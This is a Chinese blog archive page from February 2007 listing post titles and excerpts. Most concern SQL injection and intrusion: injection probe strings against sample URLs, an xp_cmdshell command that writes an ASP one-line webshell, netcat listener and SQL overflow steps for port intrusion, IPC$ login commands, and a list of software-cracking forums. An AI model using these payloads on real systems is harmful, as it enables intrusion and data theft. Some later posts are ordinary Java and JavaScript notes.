2007年02月_lenhan12345

10月 09月 08月 07月 06月 05月 04月 03月 02月 01月

原创最详细的SQL注入相关的命令

1、用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execute request^("l"^)^ >c:/mu.asp;--  echo ^ >c:/mu.asp2、显示SQL系统版本：  http://192

2007-02-15 12:02:00 691

原创 SQL防注入简介

SQL注入简介许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。SQL注入思路思路最重要,其实好多人都不知道SQL到底能做什么呢!这里总结一下SQL注入入侵的总体的思路 1

2007-02-15 12:01:00 587

原创入侵网站必备Sql语句:(经典语句)

判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0(select count(*) from *) and 0(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目如果遇到00)-- and 1=(select count(*

2007-02-15 09:58:00 821

原创快速学习，理解.SQL注入技术

检测可否注入http://127.0.0.1/xx?id=11 and 1=1 (正常页面)http://127.0.0.1/xx?id=11 and 1=2 (出错页面)检测表段的http://127.0.0.1/xx?id=11 and exists (select * from admin) 检测字段的http://127.0.0.1/xx?id=11 and exists (select

2007-02-15 09:56:00 498

原创注入的几条简单语句，不用像网上那样复杂

一、版本url/1.asp?id=1 and @@VERSION>0二、跨库url/1.asp?id=1 and 1＝(select db_name(n))n改成0,1,2,3……就可以跨库了，是不是比网上的简单呢？三、列名url/1.asp?id=1 and 1=(select col_name(object_id(表名),n) 表名可以换成16进制。像bbsuser=0x6200620

2007-02-15 09:55:00 494

原创 SQL注入技巧资料大全

1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 4.注入参数是字符 and [查询条件] and = 5.搜索时没过滤

2007-02-15 09:53:00 569

原创 SQL注入的另类技巧

我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上，权限DB_owner。　在某官网发现了一个注点，一个号提示"xxxxxxxxxx0出现错误 " ，经过初步的分析是把单引号，直接转换成了0,所以如果用工具肯定注入不了，实践证明工具不行，但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1=(select is_isvrolemember(

2007-02-15 09:52:00 691

＜一＞SQL注入简介　　许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。　　＜二＞SQL注入思路　　思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总

2007-02-15 09:51:00 1753

转载 SQL注入漏洞攻防必杀技

SQL注入是常见的利用程序漏洞进行攻击的方法，是很多入门级“黑客”喜欢采用的攻击方式，近来网上对它的讨论很热烈，所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。攻击源于程序漏洞 SQL注入原理导致SQL注入攻击的漏洞并非系统造成的，主要是程序员在编程中忽略了安全因素，他的原理并不复杂。引言　　随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由

2007-02-15 09:49:00 674

原创 SQL注入常用语句

是否支持多句查询http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int-- 是否支持子查询http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0返回用户名http://www.xxx.com/xxxn

2007-02-15 09:48:00 843

原创 SQLSERVER高级注入技巧

SQLSERVER高级注入技巧[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]update 表名 se

2007-02-15 09:47:00 913

转载 SQL注入一日通

(此文章是对网上大量同类文章的分析与总结，并结合自己实施过程中的体会综合而成，其中有不少直接引用，没有注意出处，请原作者见谅)随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他

2007-02-15 09:46:00 558

原创如何查找SQL注入点

如何查找注入点!小弟有一些个技巧!如果出现:服务器上URL出错之类的提示你可以尝试用一些注入工具来进行注入!如果实在找不到注入点的话,你还可以构造注入点!相关文章你可以参考!如下文章:最近sql inject 可是说是红遍了整个中国，不知道多少网站在sql inject 面前轰然倒下，其实 Sql inject 在国外技术已经很成熟了，而国内则是在近一两年内慢慢走向成熟。在一个个惨痛的实例面前，脚

2007-02-15 09:40:00 9873 2

转载 JSP手工注入

1、判断注入类型（数字型还是字符型）字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）And user>char(0)And userhttp://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0) And 1=1 And userchar(0) And %25= And use

2007-02-15 09:34:00 2608

转载 SQL注入总结大全

Sql注射总结（早源于or1=1）最重要的表名：select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses最重要的一些用户名（默认sql数据库中存在着的）publicdboguest(

2007-02-15 09:31:00 693

转载国内十大破解论坛

十大只是一个称谓，以下的十大破解论坛包括了人气、原创、内容的综合体。如果需要破解和注册码注册机之类的东东，在下面几个站基本可以找到。icech推荐的打上★号。1.龙族联盟论坛★http://www.chinadforce.com/2.霏凡软件论坛★http://bbs.crsky.com/3.赢政天下论坛★http://bbs.winzheng.com/4.万花筒极酷大论坛http://bbs

2007-02-15 09:29:00 52402 1

转载给大家发一个SQL注入实战教程吧

这篇文章是去年10月份发的，我今年3月份才发现，这么长时间以来我的网站www.shbbs.net一直被当作教程攻击，呵呵，晕死。直到有一个好心网友提醒我我才做了一些处理。大家不要再按教程上直接使用攻击我的网站www.shbbs.net了，呵呵我已经打了预防针了：）找别人的去演习吧：）以下是文章部分，还有动画教程，呵呵，晕死：）实战 SQL Injection目标：www.shbbs

2007-02-15 09:28:00 6936

转载 SQL注入工具大比拼

前言　　随着ASP的日趋成熟，各种检测工具也逐渐流行了起来。如今，几乎每一个学习黑客的网迷手里都有一款或几款得心应手的注入工具。但我通过QQ群了解到，有相当一大部分人认为这些工具的注入手法是相同或相近的。其实这种说法只说对了一部分，在提交“and 1=１”、“and １＝２”进行漏洞判断时，这些软件所使用的方式的确是一样的，但接下来在猜解表名、猜解列名、猜解记录上，各软件所用的方式方法却不尽相同。

2007-02-15 09:26:00 1510

原创 SQL注入网站入侵实例

这几天闲得无聊，想上网Down几部电影来看，找了找都是要Money的，不爽，花时间跑去汇钱还不如找个有漏洞的黑一黑。于是，计划开始：(为避免不必要的误会，网址、用户名、密码做了一些修改，不过方法是100％原汁原味)　　1.寻找入口　　准备：如果你以前没尝试过SQL注入攻击，那应该把HTTP友好提示关闭，这样才能让你清楚看到服务器端返回的提示信息。　　尝试几个有传入参数的页面，逐个测试是否有SQL注

2007-02-15 09:19:00 1314

转载实例讲解：全程追踪入侵JSP网站服务器

在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言，安全性真的能够让人放心吗？面对层出不穷的黑客攻击和病毒袭击，JSP网站的服务器能够比其他网站的服务器器更加安全吗？前段时间，应朋友之邀，我对他们托管的三台服务器的主机进行了测试，发现了JSP网站存在的几个问题。　　入侵测试第一步：扫描　　扫描是入侵的第一步，它可以让你对即将入侵的目标有一个全面的了解。同时扫描

2007-02-15 09:06:00 486

原创各种端口的入侵方法

各种端口的入侵方法1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破（字典是关键）最后 SQLTool*.**e入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口（以上反向的，测试成功） sqlhel

2007-02-15 09:03:00 2086

原创汇编语言超浓缩教程

“ 哎哟，哥们儿，还捣鼓汇编呢？那东西没用，兄弟用VB"钓"一个API就够你忙活个十天半月的，还不一定搞出来。”此君之言倒也不虚，那吾等还有无必要研他一究呢？（废话，当然有啦！要不然你写这篇文章干嘛。）别急，别急，让我把这个中原委慢慢道来：一、所有电脑语言写出的程序运行时在内存中都以机器码方式存储，机器码可以被比较准确的翻译成汇编语言，这是因为汇编语言兼容性最好，故几乎所有跟踪、调试工具（包括WI

2007-02-15 08:53:00 822

原创关闭135、139、445、593、1025 等端口

操作要领：封闭端口，杜绝网络病毒对这些端口的访问权，以保障计算机安全，减少病毒对上网速度的影响。　　近日发现有些人感染了新的网络蠕虫病毒，该病毒使用冲击波病毒专杀工具无法杀除，请各位尽快升级计算机上的杀毒软件病毒库，在断开计算机网络连接的情况下扫描硬盘，查杀病毒。安装了防火墙软件的用户，请封闭 TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口

2007-02-15 08:44:00 3129

原创新学入侵常用的命令.

下面初级的入侵命令。 1、NET 只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！这里我们假如你得到的用户是aaa，密码是123456。假设对方IP为127.0.0.1 net use //127.0.0.1/ipc$ "123456" /user:"aaa"退出的命令是 net use //127.0.0.1/ipc$ /del下面的操作你必须登陆后才可

2007-02-15 08:42:00 544

原创回车提交表单事件

function document.onkeydown() { var e=event.srcElement; if(event.keyCode == 13){alert("触发事件!");也可以是你想要提交的东西。}else{ alert("没有触发事件!");}}比较简单，呵呵

2007-02-12 10:06:00 558

原创 java中操作XML的方法

1. 介绍1）DOM(JAXP Crimson解析器) DOM是用与平台和语言无关的方式表示XML文档的官方W3C标准。DOM是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常需要加载整个文档和构造层次结构，然后才能做任何工作。由于它是基于信息层次的，因而DOM被认为是基于树或基于对象的。DOM以及广义的基于树的处理具有几个优点。

2007-02-12 09:56:00 758 1

原创给你的session加个监听器

今天一个学生问我怎么实现在网页里显示在线用户的名称——他已经使用了session，但是无法处理用户离开的情况，然后导致在线用户列表的无限增大。跟他说了自己在application中进行超时检查，更新application的时候就比较当前所有列表中的session是否超过自己指定的时间间隔。后来想了想，又给他提了使用给session加监听器的方法。但是提的时候自己也没有做过，所以只是说这种方式

2007-02-09 15:34:00 1275

原创 Servlet中Listener的应用

由于工作需要,最近在找一些解决方案,发现Listener是一个很好的东西,能够监听到session,application的create,destroy,可以监听到session,application 属性绑定的变化,考虑了一下,可以应用在"在线人数统计","数据缓存"等各个方面,下面是整理的一些资料.Listener 是Servlet的监听器，它可以监听客户端的请求、服务端的操

2007-02-08 17:13:00 657

原创 Servlet中如何捕获Session事件

捕获Session事件的意义： 1、记录网站的客户登录日志（登录，退出信息等） 2、统计在线人数 3、等等还有很多，呵呵，自己想吧……总之挺重要的。　　Session代表客户的会话过程，客户登录时，往Session中传入一个对象，即可跟踪客户的会话。在Servlet中，传入Session的对象如果是一个实现HttpSessionBindingListener接口的对象（方便起见，此对象称为

2007-02-08 17:11:00 608

转载 Ajax应用引发的深思

中国人有个毛病，爱看热闹。街边吵架了必然扫上一眼看看ko结果。职业能改变人的思想，顺便牵扯点作为人的行为。咱就是搞java应用开发的也就好这口。有什么新鲜玩意都要试把试把。有些时候真的不是因需要而去应用，就像去街边看人pk突个新鲜。ajax近来吵的很火所以很多中国人也都愿意以身试法。试图参透其奥妙所在。新鲜嘛！但这种激情往往使人忘记了理智。激情是要建立在理性的基础上才能发挥其最大作用。这点思想如

2007-02-08 09:19:00 688

原创 JavaScript中的window对象

window是JavaScript的高级对象，它是document、location和history对象的父对象。正因为window是一个很高级的对象，所以通常在JavaScript代码编写中应用它的方法、属性时我们并不是必须写出window对象，如引用window的parent属性时：window.parent可以简单写成parent。window的属性有frames、parent、self、t

2007-02-01 11:39:00 898